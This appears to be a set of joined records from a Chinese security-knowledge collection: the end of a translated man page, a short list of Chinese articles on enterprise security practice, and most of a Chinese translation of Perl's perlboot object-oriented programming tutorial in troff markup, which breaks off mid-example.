的新发行中增加次版本号,但在主版本号变更的时候被复位为零。 .SH "关键字 KEYWORDS" variables, version .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2002/05/13 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# 相关文章 [1] 卢明樊:爱奇艺的业务安全风控“秘籍”, https://www.freebuf.com/articles/people/233378.html \[2] 情报驱动的安全自动化, [叶伟](https://home.cnblogs.com/u/pmyewei/), https://www.cnblogs.com/pmyewei/archive/2004/01/13/12250897.html \[3] 平安集团企业信息安全实践,[安全建设](https://www.secrss.com/articles?tag=%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE),https://www.secrss.com/articles/19112 \[4] 甲方工作杂谈,redflog,https://xz.aliyun.com/t/1067
sec-knowleage
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.14 .\" .\" Standard preamble: .\" ======================================================================== .de Sh \" Subsection heading .br .if t .Sp .ne 5 .PP \fB\\$1\fR .PP .. .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. | will give a .\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to .\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C' .\" expand to `' in nroff, nothing in troff, for use with C<>. .tr \(*W-|\(bv\*(Tr .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' 'br\} .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .if \nF \{\ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . nr % 0 . rr F .\} .\" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .hy 0 .if n .na .\" .\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2). .\" Fear. Run. Save yourself. No user-serviceable parts. . \" fudge factors for nroff and troff .if n \{\ . ds #H 0 . ds #V .8m . ds #F .3m . ds #[ \f1 . ds #] \fP .\} .if t \{\ . ds #H ((1u-(\\\\n(.fu%2u))*.13m) . ds #V .6m . ds #F 0 . ds #[ \& . ds #] \& .\} . \" simple accents for nroff and troff .if n \{\ . ds ' \& . ds ` \& . ds ^ \& . ds , \& . ds ~ ~ . ds / .\} .if t \{\ . ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u" . ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u' . ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u' . ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u' . ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u' . ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u' .\} . \" troff and (daisy-wheel) nroff accents .ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V' .ds 8 \h'\*(#H'\(*b\h'-\*(#H' .ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#] .ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H' .ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u' .ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#] .ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#] .ds ae a\h'-(\w'a'u*4/10)'e .ds Ae A\h'-(\w'A'u*4/10)'E . \" corrections for vroff .if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u' .if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u' . \" for low resolution devices (crt and lpr) .if \n(.H>23 .if \n(.V>19 \ \{\ . ds : e . ds 8 ss . ds o a . ds d- d\h'-1'\(ga . ds D- D\h'-1'\(hy . ds th \o'bp' . ds Th \o'LP' . ds ae ae . ds Ae AE .\} .rm #[ #] #H #V #F C .\" ======================================================================== .\" .IX Title "PERLBOOT 1" .TH PERLBOOT 7 "2003-11-25" "perl v5.8.3" "Perl Programmers Reference Guide" .SH "NAME" perlboot \- 初学者的面向对象教程 .SH "DESCRIPTION 描述" .IX Header "DESCRIPTION" 如果你对其他语言中的对象并不熟悉的话, 那么其他有关perl对象的文件可能使你感到恐惧, 比如 perlobj , 这是基础性的参考文件, 和 perltoot, 这是介绍perl对象的特性的教程. .PP 所以, 让我们走另一条路,假定你没有任何关于对象的概念. 你需要了解子程序 (perlsub), 引用 (perlref et. seq.), 和 包(或模块) (perlmod), 如果还不清楚的话,先把他们搞清楚. .Sh "If we could talk to the animals...如果我们能和动物交谈" .IX Subsection "If we could talk to the animals..." 让我们让动物讲会儿话: .PP .Vb 9 \& sub Cow::speak { \& print "a Cow goes moooo!\en"; \& } \& sub Horse::speak { \& print "a Horse goes neigh!\en"; \& } \& sub Sheep::speak { \& print "a Sheep goes baaaah!\en" \& } .Ve .PP .Vb 3 \& Cow::speak; \& Horse::speak; \& Sheep::speak; .Ve .PP 结果是: .PP .Vb 3 \& a Cow goes moooo! \& a Horse goes neigh! \& a Sheep goes baaaah! .Ve .PP 没什么特别的. 只是简单的子程序, 虽然来自不同的包, 并用完整的包名来调用. 那么让我们建立一个完整的牧场吧: .PP .Vb 5 \& # Cow::speak, Horse::speak, Sheep::speak 与上同 \& @pasture = qw(Cow Cow Horse Sheep Sheep); \& foreach $animal (@pasture) { \& &{$animal."::speak"}; \& } .Ve .PP 结果是: .PP .Vb 5 \& a Cow goes moooo! \& a Cow goes moooo! \& a Horse goes neigh! \& a Sheep goes baaaah! \& a Sheep goes baaaah! .Ve .PP 嗯. 这里的符号代码引用有些不太好. 我们正依赖于 \f(CW\*(C`no strict subs\*(C'\fR 模式, 在稍大些的程序中应尽量避免. 那为什么要这样呢? 因为我们要调用的子程序和它所在的包似乎是不可分的. .PP 真的是这样吗? .Sh "Introducing the method invocation arrow 调用方法时的箭头符号" .IX Subsection "Introducing the method invocation arrow" 现在,我们说 \f(CW\*(C`Class\->method\*(C'\fR 是调用了包(或模块)\f(CW\*(C`Class\*(C'\fR中的 \&\f(CW\*(C`method\*(C'\fR 方法。(Here, \*(L"Class\*(R" is used in its \*(L"category\*(R" meaning, not its \*(L"scholastic\*(R" meaning.) 不是很准确,不过我们会一步一步的来做. 现在,可以这样做: .PP .Vb 4 \& # Cow::speak, Horse::speak, Sheep::speak as before \& Cow->speak; \& Horse->speak; \& Sheep->speak; .Ve .PP 输出为: .PP .Vb 3 \& a Cow goes moooo! \& a Horse goes neigh! \& a Sheep goes baaaah! .Ve .PP 还不是很有趣. 一样的字符,常量,没有变量. 但是, 不同部分可以分开了. 请看: .PP .Vb 2 \& $a = "Cow"; \& $a->speak; # invokes Cow->speak .Ve .PP 哇! 现在包名与子程序名可以分开了, 我们可以用变量来表示包名. 这样,在使用 \f(CW\*(C`use strict refs\*(C'\fR 预编译指令时也可以正常工作了. .Sh "Invoking a barnyard 创建一个牲口棚" .IX Subsection "Invoking a barnyard" 现在让我们把箭头用到牲口棚的例子中,范例: .PP .Vb 9 \& sub Cow::speak { \& print "a Cow goes moooo!\en"; \& } \& sub Horse::speak { \& print "a Horse goes neigh!\en"; \& } \& sub Sheep::speak { \& print "a Sheep goes baaaah!\en" \& } .Ve .PP .Vb 4 \& @pasture = qw(Cow Cow Horse Sheep Sheep); \& foreach $animal (@pasture) { \& $animal->speak; \& } .Ve .PP 现在我们所有的动物都能说话了, 而且不用使用代码引用. .PP 不过注意到那些相同的代码. 每个 \f(CW\*(C`speak\*(C'\fR 子程序的结构是相同的: 一个 \f(CW\*(C`print\*(C'\fR 操作符和一个基本相同的字符串,只有两个词不同. 如果我们可以析出相同的部分就更好了,如果将来要把 \f(CW\*(C`goes\*(C'\fR 替换为 \f(CW\*(C`says\*(C'\fR 时就简单得多了 .PP 实际上这并不困难, 不过在这之前我们应该对箭头符号了解的更多一些. .Sh "The extra parameter of method invocation 方法调用时的额外参数" .IX Subsection "The extra parameter of method invocation" 语句: .PP .Vb 1 \& Class->method(@args) .Ve .PP 这样调用函数 \f(CW\*(C`Class::method\*(C'\fR: .PP .Vb 1 \& Class::method("Class", @args); .Ve .PP (如果子程序找不到,\*(L"继承,inheritance\*(R" 开始起作用,这在后面会讲到). 这意味着我们得到的第一个参数是类名(如果没有给出其他参数,它就是调用时的唯一参数).所以我们可以象这样重写 \f(CW\*(C`Sheep\*(C'\fR speaking 子程序: .PP .Vb 4 \& sub Sheep::speak { \& my $class = shift; \& print "a $class goes baaaah!\en"; \& } .Ve .PP 另外的动物与此类似: .PP .Vb 8 \& sub Cow::speak { \& my $class = shift; \& print "a $class goes moooo!\en"; \& } \& sub Horse::speak { \& my $class = shift; \& print "a $class goes neigh!\en"; \& } .Ve .PP 每次 \f(CW$class\fR 都会得到与子程序相关的正确的值. 但是,还是有很多相似的结构. 可以再简单些吗? 是的. 可以通过在一个类中调用其它的方法来实现. .Sh "Calling a second method to simplify things 调用另一个方法以简化操作" .IX Subsection "Calling a second method to simplify things" 我们在 \f(CW\*(C`speak\*(C'\fR 中调用 \f(CW\*(C`sound\*(C'\fR. 这个方法提供声音的内容. .PP .Vb 7 \& { package Cow; \& sub sound { "moooo" } \& sub speak { \& my $class = shift; \& print "a $class goes ", $class->sound, "!\en" \& } \& } .Ve .PP 现在, 当我们调用 \f(CW\*(C`Cow\->speak\*(C'\fR 时, 我们在 \f(CW\*(C`speak\*(C'\fR 中得到 \f(CW\*(C`Cow\*(C'\fR 的类 \f(CW$class\fR. 他会选择 \f(CW\*(C`Cow\->sound\*(C'\fR 方法, 然后返回 \f(CW\*(C`moooo\*(C'\fR. 那如果是 \f(CW\*(C`Horse\*(C'\fR 呢? .PP .Vb 7 \& { package Horse; \& sub sound { "neigh" } \& sub speak { \& my $class = shift; \& print "a $class goes ", $class->sound, "!\en" \& } \& } .Ve .PP 仅仅包名和声音有变化. 因此我们可以在Cow和Horse中共用 \f(CW\*(C`speak\*(C'\fR 吗? 是的,通过继承实现! .Sh "Inheriting the windpipes 继承气管" .IX Subsection "Inheriting the windpipes" 我们创建一个公共函数包,命名为 \f(CW\*(C`Animal\*(C'\fR,在其中定义 \f(CW\*(C`speak\*(C'\fR: .PP .Vb 6 \& { package Animal; \& sub speak { \& my $class = shift; \& print "a $class goes ", $class->sound, "!\en" \& } \& } .Ve .PP 然后,在每个动物那里 \*(L"继承,inherits\*(R" \f(CW\*(C`Animal\*(C'\fR 类, 同时赋予每个动物各自的声音: .PP .Vb 4 \& { package Cow; \& @ISA = qw(Animal); \& sub sound { "moooo" } \& } .Ve .PP 注意增加的数组 \f(CW@ISA\fR . 我们马上讲到它. .PP 现在当我们调用 \f(CW\*(C`Cow\->speak\*(C'\fR 时会发生什麽? .PP 首先, Perl构造参数列表. 在这种情况下, 只有 \f(CW\*(C`Cow\*(C'\fR. 然后Perl 查找 \f(CW\*(C`Cow::speak\*(C'\fR. 但是找不到, 所以Perl检查继承数组 \f(CW@Cow::ISA\fR. 找到了, 那里只有一个 \f(CW\*(C`Animal\*(C'\fR .PP Perl 然后在 \f(CW\*(C`Animal\*(C'\fR 中查找 \f(CW\*(C`speak\*(C'\fR, \f(CW\*(C`Animal::speak\*(C'\fR. 找到了, 然后调用该子程序, 参数在一开始就被固定了. .PP 在子程序 \f(CW\*(C`Animal::speak\*(C'\fR 中, \f(CW$class\fR 是 \f(CW\*(C`Cow\*(C'\fR (第一个参数). 在我们调用 \f(CW\*(C`$class\->sound\*(C'\fR 时, 首先寻找 \f(CW\*(C`Cow\->sound\*(C'\fR , 找到了, 因此不用查看 \f(CW@ISA\fR. 成功! .ie n .Sh "关于@ISA应该注意的几点问题" .el .Sh "关于\f(CW@ISA\fP应该注意的几点问题" .IX Subsection "A few notes about @ISA" 神奇的 \f(CW@ISA\fR 变量 (读作 \*(L"is a\*(R" 而不是 \*(L"ice\-uh\*(R"), 声明了 \f(CW\*(C`Cow\*(C'\fR 是一个(\*(L"is a\*(R") \f(CW\*(C`Animal\*(C'\fR。 注意它是一个数组,而不是一个单值, 因为在个别情况下, 需要在几个父类中寻找方法. .PP 如果 \f(CW\*(C`Animal\*(C'\fR 也有一个 \f(CW@ISA\fR, 我们也要查看它. 寻找是递归的,深度优先,在每个 \f(CW@ISA\fR 中从左到右寻找. 一般地,每个 \f(CW@ISA\fR 只有一个元素(多元素意味着多继承和多重的头痛), 这样我们可以得到一个漂亮的继承树. .PP 如果使用 \f(CW\*(C`use strict\*(C'\fR, @ISA会引起抱怨, 因为它不是含有显式包名的变量, 也不是字典变量 (\*(L"my\*(R"). 我们不能把它用做\*(L"my\*(R"变量(它必须属于所继承的包),但是也还是有几种解决的办法. .PP 最简单的办法是加上包名: .PP .Vb 1 \& @Cow::ISA = qw(Animal); .Ve .PP 或者使用包声明: .PP .Vb 3 \& package Cow; \& use vars qw(@ISA); \& @ISA = qw(Animal); .Ve .PP 如果你希望把包放到程序内, 可以把: .PP .Vb 4 \& package Cow; \& use Animal; \& use vars qw(@ISA); \& @ISA = qw(Animal); .Ve .PP 简写为: .PP .Vb 2 \& package Cow; \& use base qw(Animal); .Ve .PP 这就精简多了. .Sh "Overriding the methods 方法重载" .IX Subsection "Overriding the methods" 让我们添上一只老鼠, 它的声音差不多听不到: .PP .Vb 10 \& # Animal package from before \& { package Mouse; \& @ISA = qw(Animal); \& sub sound { "squeak" } \& sub speak { \& my $class = shift; \& print "a $class goes ", $class->sound, "!\en"; \& print "[but you can barely hear it!]\en"; \& } \& } .Ve .PP .Vb 1 \& Mouse->speak; .Ve .PP 输出为: .PP .Vb 2 \& a Mouse goes squeak! \& [but you can barely hear it!] .Ve .PP 在这里, \f(CW\*(C`Mouse\*(C'\fR 有它自己的speak 函数, 所以 \f(CW\*(C`Mouse\->speak\*(C'\fR 不会调用\f(CW\*(C`Animal\->speak\*(C'\fR. 这叫做重载 \*(L"overriding\*(R". 实际上, 我们甚至不用说\f(CW\*(C`Mouse\*(C'\fR 是 \f(CW\*(C`Animal\*(C'\fR, 因为 \f(CW\*(C`speak\*(C'\fR 所用到的所有方法在 \f(CW\*(C`Mouse\*(C'\fR 中都有定义. .PP 但是有些代码与 \f(CW\*(C`Animal\->speak\*(C'\fR 的相同 , 这在程序维护时是个问题. 我们能不能让 \f(CW\*(C`Mouse\*(C'\fR 与其它 \f(CW\*(C`Animal\*(C'\fR 作相同的事,但是给它加上特殊的部分呢? 可以! .PP 首先,我们可以直接调用 \f(CW\*(C`Animal::speak\*(C'\fR 方法: .PP .Vb 10 \& # Animal package from before \& { package Mouse; \& @ISA = qw(Animal); \& sub sound { "squeak" } \& sub speak { \& my $class = shift; \& Animal::speak($class); \& print "[but you can barely hear it!]\en"; \& } \& } .Ve .PP 注意我们必须使用 \f(CW$class\fR (几乎肯定是\f(CW"Mouse"\fR) 作为 \f(CW\*(C`Animal::speak\*(C'\fR 的第一个参数, 因为我们没有用箭头符号. 那为什么不用呢? 嗯, 如果我们在那儿调用 \f(CW\*(C`Animal\->speak\*(C'\fR, 则第一个参数是 \f(CW"Animal"\fR 而不是 \f(CW"Mouse"\fR , 这样当调用 \f(CW\*(C`sound\*(C'\fR 时, 就找不到正确的函数了. .PP 虽然如此,直接调用 \f(CW\*(C`Animal::speak\*(C'\fR 确实不怎么好. 万一 \f(CW\*(C`Animal::speak\*(C'\fR 不存在, 而是继承自 \f(CW@Animal::ISA\fR 中的某个类呢? 因为没有使用箭头符号, 我们只有一次机会去调用正确的函数. .PP 还要注意到,现在类名 \f(CW\*(C`Animal\*(C'\fR 直接在子程序中使用. 如果维护代码的人没有注意到这一点, 改变了 <Mouse> 的 \f(CW@ISA\fR,没有注意到 \f(CW\*(C`speak\*(C'\fR 用到了 \f(CW\*(C`Animal\*(C'\fR 那就会出问题. 因此, 这可能不是一个好方法. .Sh "Starting the search from a different place 从其它地方开始寻找" .IX Subsection "Starting the search from a different place" 较好的解决办法是让Perl从继承链的上一级开始寻找: .PP .Vb 9 \& # same Animal as before \& { package Mouse; \& # same @ISA, &sound as before \& sub speak { \& my $class = shift; \& $class->Animal::speak; \& print "[but you can barely hear it!]\en"; \& } \& } .Ve .PP 这就对了. 使用这一语法, 我们从 \f(CW\*(C`Animal\*(C'\fR 寻找 \f(CW\*(C`speak\*(C'\fR, 在找不到时寻找 \f(CW\*(C`Animal\*(C'\fR 的继承链.且第一个参数是 \f(CW$class\fR, 所以 \f(CW\*(C`speak\*(C'\fR 和\f(CW\*(C`Mouse::sound\*(C'\fR 都会被正确地调用. .PP 但这还不是最好的方法.我们还必须调整 \f(CW@ISA\fR 的元素顺序. 更糟糕的是, 如果 \f(CW\*(C`Mouse\*(C'\fR 有多个父类在 \f(CW@ISA\fR, 我们还要知道哪个类定义了 \f(CW\*(C`speak\*(C'\fR. 那么,有没有更好的办法呢? .Sh "The \s-1SUPER\s0 way of doing things 使用SUPER方法" .IX Subsection "The SUPER way of doing things" 通过把 \f(CW\*(C`Animal\*(C'\fR 改成 \f(CW\*(C`SUPER\*(C'\fR 类, 程序可以自动在所有父类中(\f(CW@ISA\fR): .PP .Vb 9 \& # same Animal as before \& { package Mouse; \& # same @ISA, &sound as before \& sub speak { \& my $class = shift; \& $class->SUPER::speak; \& print "[but you can barely hear it!]\en"; \& } \& } .Ve .PP \f(CW\*(C`SUPER::speak\*(C'\fR 意味着在当前包的 \f(CW@ISA\fR 中寻找 \f(CW\*(C`speak\*(C'\fR, 调用第一个找到的函数。注意它不会查找 \f(CW$class\fR 的 \f(CW@ISA\fR .Sh "Where we're at so far...到现在为止我们学了些什麽" .IX Subsection "Where we're at so far..." 我们已经看到了箭头符号语法: .PP .Vb 1 \& Class->method(@args); .Ve .PP 和它的等价形式: .PP .Vb 2 \& $a = "Class"; \& $a->method(@args); .Ve .PP 它们构造这样一个参数列表: .PP .Vb 1 \& ("Class", @args) .Ve .PP 并调用 .PP .Vb 1 \& Class::method("Class", @Args); .Ve .PP 但是,如果找不到 \f(CW\*(C`Class::method\*(C'\fR, 程序会查看 \f(CW@Class::ISA\fR (递归的) 找到一个包含 \f(CW\*(C`method\*(C'\fR 的包,然后执行它. .PP 使用这种简单的语法, 我们可以有类方法,(多)继承,重载,以及其它扩展. 使用我们已经学到的东西, 我们可以析出公共的代码,以各种不同的形式重用同一工具. 这是对象能够提供的核心内容, 但是对象还能够提供实例数据, 这一点我们还没有涉及. .Sh "A horse is a horse, of course of course \*(-- or is it? 马就是马——真的是这样吗?" .IX Subsection "A horse is a horse, of course of course or is it?" 我们从 \f(CW\*(C`Animal\*(C'\fR 和 \f(CW\*(C`Horse\*(C'\fR 类的代码开始: .PP .Vb 10 \& { package Animal; \& sub speak { \& my $class = shift; \& print "a $class goes ", $class->sound, "!\en" \& } \& } \& { package Horse; \& @ISA = qw(Animal); \& sub sound { "neigh" } \& } .Ve .PP 这样使得我们调用 \f(CW\*(C`Horse\->speak\*(C'\fR,从而向上调用 \f(CW\*(C`Animal::speak\*(C'\fR,然后调用 \f(CW\*(C`Horse::sound\*(C'\fR 来获得指定的声音,输出为: .PP .Vb 1 \& a Horse goes neigh! .Ve .PP 但是我们所有的马都是相同的. 如果我增加一个子程序, 所有的马都会共享它. 这在创建相同的马时确实不错, 但是我们如何能够区分不同的马呢? 比如, 假设我想给我的第一匹马起个名字. 应该有办法使得它的名字和别的马的名字不同. .PP 这可以通过创建一个 \*(L"实例,instance\*(R" 来实现. 实例是由类创建的. 在Perl中, 任何引用都可以是实例, 就让我们从最简单的引用开始吧,一个标量引用: .PP .Vb 2 \& my $name = "Mr. Ed"; \& my $talking = \e$name; .Ve .PP 现在 \f(CW$talking\fR 是指向实例特有数据( \f(CW$name\fR )的引用。把这个引用变成真正的实例的是一个特殊的操作符,叫做 \f(CW\*(C`bless\*(C'\fR: .PP .Vb 1 \& bless $talking, Horse; .Ve .PP 这个操作符把包名 \f(CW\*(C`Horse\*(C'\fR 中的所有信息存放到引用所指向的东西中. 这时,我们说 \f(CW$talking\fR 是 \f(CW\*(C`Horse\*(C'\fR 的一个实例 . 也就是说, 它是一匹独特的马. 引用并没有改变, 还可以用于间接引用操作符. .Sh "Invoking an instance method 调用实例方法" .IX Subsection "Invoking an instance method" 箭头符号可以用于实例. 那么, 听听 \f(CW$talking\fR 的声音吧: .PP .Vb 1 \& my $noise = $talking->sound; .Ve .PP 要调用 \f(CW\*(C`sound\*(C'\fR, Perl 首先注意到 \f(CW$talking\fR 是一个 blessed 引用 (因此是一个实例). 它会构造一个参数列表, 现在只有 \f(CW$talking\fR. (在后面我们会看到参数们在实例变量之后, 与使用类时相似.) .PP 然后,是真正有意思的部分: Perl 查找实例所属的类, 这里是 \f(CW\*(C`Horse\*(C'\fR, 在其中寻找对应的方法. 这里, \f(CW\*(C`Horse::sound\*(C'\fR 直接可以找到(不用使用继承), 最后这样调用: .PP .Vb 1 \& Horse::sound($talking) .Ve .PP 注意这里的第一个参数还是实例本身, 而不像前面我们学到的是类名. 最后返回值是 \f(CW\*(C`neigh\*(C'\fR, 它被赋值给 \f(CW$noise\fR 变量. .PP 如果找不到 Horse::sound, 会在 \f(CW@Horse::ISA\fR 列表中查找. 类方法与实例方法的唯一区别是调用时的第一个参数是实例(一个blessed引用)还是一个类名(一个字符串). .Sh "Accessing the instance data 访问实例数据" .IX Subsection "Accessing the instance data" 因为我们得到的第一个参数是实例,我们可以访问实例特有的数据. 我们可以取得马的名字: .PP .Vb 8 \& { package Horse; \& @ISA = qw(Animal); \& sub sound { "neigh" } \& sub name { \& my $self = shift; \& $$self; \& } \& } .Ve .PP 现在,我们调用名字: .PP .Vb 1 \& print $talking->name, " says ", $talking->sound, "\en"; .Ve .PP 在 \f(CW\*(C`Horse::name\*(C'\fR 中, \f(CW@_\fR 数组仅含有 \f(CW$talking\fR, shift 将 \f(CW$talking\fR 赋给了 \f(CW$self\fR. (传统上我们在处理实例方法时总是把第一个元素赋给 \f(CW$self\fR, 所以你也应该这么做, 除非你有不这样做的充分理由.) 然后, \f(CW$self\fR 被标量化,成为 \f(CW\*(C`Mr. Ed\*(C'\fR, 这就行了. 输出是: .PP .Vb 1 \& Mr. Ed says neigh. .Ve .Sh "How to build a horse 如何创建一匹马" .IX Subsection "How to build a horse" 当然啦,如果我们手工创建所有的马, 我们会出很多错误. 不仅如此,我们还亵渎了面向对象编程的特性,因为在那种情况下马的"内脏"也可见了. 如果你是兽医的话,这倒正好, 可是如果你仅仅是个爱马者呢? 所以,我们让 Horse 类来创建一匹新马: .PP .Vb 13 \& { package Horse; \& @ISA = qw(Animal); \& sub sound { "neigh" } \& sub name { \& my $self = shift; \& $$self; \& } \& sub named { \& my $class = shift; \& my $name = shift; \& bless \e$name, $class; \& } \& } .Ve .PP 现在,我们可以用 \f(CW\*(C`named\*(C'\fR 方法创建一匹马: .PP .Vb 1 \& my $talking = Horse->named("Mr. Ed"); .Ve .PP 注意到我们有回到了类方法, 所以传递给 \f(CW\*(C`Horse::named\*(C'\fR 的两个参数是 \f(CW\*(C`Horse\*(C'\fR 和 \f(CW\*(C`Mr. Ed\*(C'\fR. \*(C`bless\*(C'\fR 操作符不仅将 \f(CW$name\fR 实例化, 且将指向 \f(CW$name\fR 的引用作为返回值返回. 这样, 我们就创建了一匹马. .PP 这里,我们调用了构造器 \f(CW\*(C`named\*(C'\fR, 它的参数就是特定的 \f(CW\*(C`Horse\*(C'\fR 的名字. 你可以使用不同的构造器用不同的名字建立不同的对象(比如记录它的谱系或生日). 但是, 你会发现多数使用Perl的人更喜欢把构造器命名为 \f(CW\*(C`new\*(C'\fR, 并使用不同的方法解释 \f(CW\*(C`new\*(C'\fR 的参数. 两种都挺好,只要你能创建对象就行. (你会自己创建一个,对吗?) .Sh "Inheriting the constructor 继承构造器" .IX Subsection "Inheriting the constructor" 但是那个方法中有没有什麽对于 \f(CW\*(C`Horse\*(C'\fR 来说比较特殊的东西呢? 没有. 因此, 从 \f(CW\*(C`Animal\*(C'\fR 创建其它任何东西也可以使用相同的方法,我们来试试:: .PP .Vb 19 \& { package Animal; \& sub speak { \& my $class = shift; \& print "a $class goes ", $class->sound, "!\en" \& } \& sub name { \& my $self = shift; \& $$self; \& } \& sub named { \& my $class = shift; \& my $name = shift; \& bless \e$name, $class; \& } \& } \& { package Horse; \& @ISA = qw(Animal); \& sub sound { "neigh" } \& } .Ve .PP 好了, 但是以实例调用 \f(CW\*(C`speak\*(C'\fR 会产生什麽结果呢? .PP .Vb 2 \& my $talking = Horse->named("Mr. Ed"); \& $talking->speak; .Ve .PP 我们得到的是: .PP .Vb 1 \& a Horse=SCALAR(0xaca42ac) goes neigh! .Ve .PP 为什麽?因为 \f(CW\*(C`Animal::speak\*(C'\fR 希望它的第一个参数是类名, 而不是实例. 当实例被传入时,我们希望使用的是字符串而不是实例本身,显示的结果不是我们所希望的. .Sh "Making a method work with either classes or instances 使方法同时支持类和实例" .IX Subsection "Making a method work with either classes or instances" 我们需要做的是让方法检测它是被实例调用的还是被类调用的. 最直接的方法是使用 \f(CW\*(C`ref\*(C'\fR 操作符. 它在参数是实例时返回字符串,在参数是类名时返回 \f(CW\*(C`undef\*(C'\fR. 我们首先改写 \f(CW\*(C`name\*(C'\fR 方法: .PP .Vb 6 \& sub name { \& my $either = shift; \& ref $either \& ? $$either # it's an instance, return name \& : "an unnamed $either"; # it's a class, return generic \& } .Ve .PP 在这儿, \f(CW\*(C`?:\*(C'\fR 操作符决定是选择间接引用(dereference)还是派生字符串. 现在我们可以同时使用类或实例了. 注意我修改了第一个参数为 \f(CW$either\fR 来表示期望的变化: .PP .Vb 3 \& my $talking = Horse->named("Mr. Ed"); \& print Horse->name, "\en"; # prints "an unnamed Horse\en" \& print $talking->name, "\en"; # prints "Mr Ed.\en" .Ve .PP 我们可以改写 \f(CW\*(C`speak\*(C'\fR : .PP .Vb 4 \& sub speak { \& my $either = shift; \& print $either->name, " goes ", $either->sound, "\en"; \& } .Ve .PP 而 \f(CW\*(C`sound\*(C'\fR 本来就可以工作. 那么现在就一切完成了! .Sh "Adding parameters to a method 给方法加参数" .IX Subsection "Adding parameters to a method" 让我们训练动物们吃饭: .PP .Vb 30 \& { package Animal; \& sub named { \& my $class = shift; \& my $name = shift; \& bless \e$name, $class; \& } \& sub name { \& my $either = shift; \& ref $either \& ? $$either # it's an instance, return name \& : "an unnamed $either"; # it's a class, return generic \& } \& sub speak { \& my $either = shift; \& print $either->name, " goes ", $either->sound, "\en"; \& } \& sub eat { \& my $either = shift; \& my $food = shift; \& print $either->name, " eats $food.\en"; \& } \& } \& { package Horse; \& @ISA = qw(Animal); \& sub sound { "neigh" } \& } \& { package Sheep; \& @ISA = qw(Animal); \& sub sound { "baaaah" } \& } .Ve .PP 试试吧: .PP .Vb 3 \& my $talking = Horse->named("Mr. Ed"); \& $talking->eat("hay"); \& Sheep->eat("grass"); .Ve .PP 输出为: .PP .Vb 2 \& Mr. Ed eats hay. \& an unnamed Sheep eats grass. .Ve .PP 有参数的实例方法调用时首先得到实例的引用,然后得到参数的列表。因此第一个调用实际上是这样的: .PP .Vb 1 \& Animal::eat($talking, "hay"); .Ve .Sh "More interesting instances 更多有趣的实例" .IX Subsection "More interesting instances" 如果实例需要更多的数据该怎么办呢? 更多的项目产生更有趣的实例, 每个项目可以是一个引用或者甚至是一个对象. 最简单的方法是把它们存放到哈希中. 哈希中的关键词叫做'实例变量"(instance variables)或者"成员变量"(member variables),相应的值也就是变量的值。 .PP 但是我们怎么把马放到哈希中呢? 回忆到对象是被实例化(blessed)的引用. 我们可以简单地创建一个祝福了的哈希引用,同时相关的的内容也作些修改就可以了. .PP 让我们创建一只有名字有颜色的绵羊: .PP .Vb 1 \& my $bad = bless { Name => "Evil", Color => "black" }, Sheep; .Ve .PP 那么 \f(CW\*(C`$bad\->{Name}\*(C'\fR 是 \f(CW\*(C`Evil\*(C'\fR, \f(CW\*(C`$bad\->{Color}\*(C'\fR 是 \f(CW\*(C`black\*(C'\fR. 但是我们想通过 \f(CW\*(C`$bad\->name\*(C'\fR 存取绵羊的名字name, 这有点的问题,因为现在它期望一个标量引用. 别担心,因为修正它很简单: .PP .Vb 7 \& ## in Animal \& sub name { \& my $either = shift; \& ref $either ? \& $either->{Name} : \& "an unnamed $either"; \& } .Ve .PP \f(CW\*(C`named\*(C'\fR 当然还是创建标量的绵羊, 如下修正就好了: .PP .Vb 7 \& ## in Animal \& sub named { \& my $class = shift; \& my $name = shift; \& my $self = { Name => $name, Color => 